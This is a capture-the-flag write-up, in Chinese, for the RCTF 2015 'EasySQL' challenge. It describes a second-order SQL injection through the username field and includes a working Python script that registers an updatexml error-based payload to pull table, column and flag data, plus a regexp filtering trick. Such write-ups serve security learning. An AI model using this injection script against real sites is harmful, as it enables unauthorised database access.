RCTF 2015

0x01 EasySQL

进入发现可以注册,先注册一个看看

注册的时候有点奇怪,邮箱的@不能出现。。。。

登进去看到一批文章,根据url考虑是否有sql注入,fuzz了半天没东西

点用户名的时候发现,可以改密码,考虑是不是存在二次注入。

然后。。。看了大佬的wp,发现是用户名存在二次注入

如果用户名为eki"\ 会看到更改用户名处有sql报错信息

注入点找到了,为了自动化,写个脚本

import requests

url = "http://326c9944-4f75-4893-911b-9c517bdc9c5a.node3.buuoj.cn/"

r = requests.session()

def register(name):
    data = {
        'username' : name,
        'password' : '123',
        'email' : '123',
    }
    r.post(url=url+"register.php", data=data)

def login(name):
    data = {
        'username' : name,
        'password' : '123',
    }
    r.post(url=url+"login.php", data=data)

def changepwd():
    data = {
        'oldpass' : '',
        'newpass' : '',
    }
    req = r.post(url=url+"changepwd.php", data=data).text
    print(req)

#sql="select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())"
#Result:'article,flag,users'
#sql="select(group_concat(column_name))from(information_schema.columns)where(table_name='users')"
#sql="select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')"
sql="select(reverse(group_concat(real_flag_1s_here)))from(users)where(real_flag_1s_here)regexp('^f')"

payload='eki"||updatexml(1,concat(1,({0})),1)#'.format(sql)

register(payload)
login(payload)
changepwd()

这样看师傅的wp发现一个技巧,因为正常字段里前面存着很多垃圾字段,可以用sql的正则表达式来搞,匹配一下开头的f

用法 <sqli>where(<targetname>)regexp(<regexpress>)

© Eki's CTF-notes 2019-2020 CC-by-nc-sa 4.0。 all right reserved,powered by Gitbook本网站最后修订于: 2021-03-09 16:35:16

results matching ""

    No results matching ""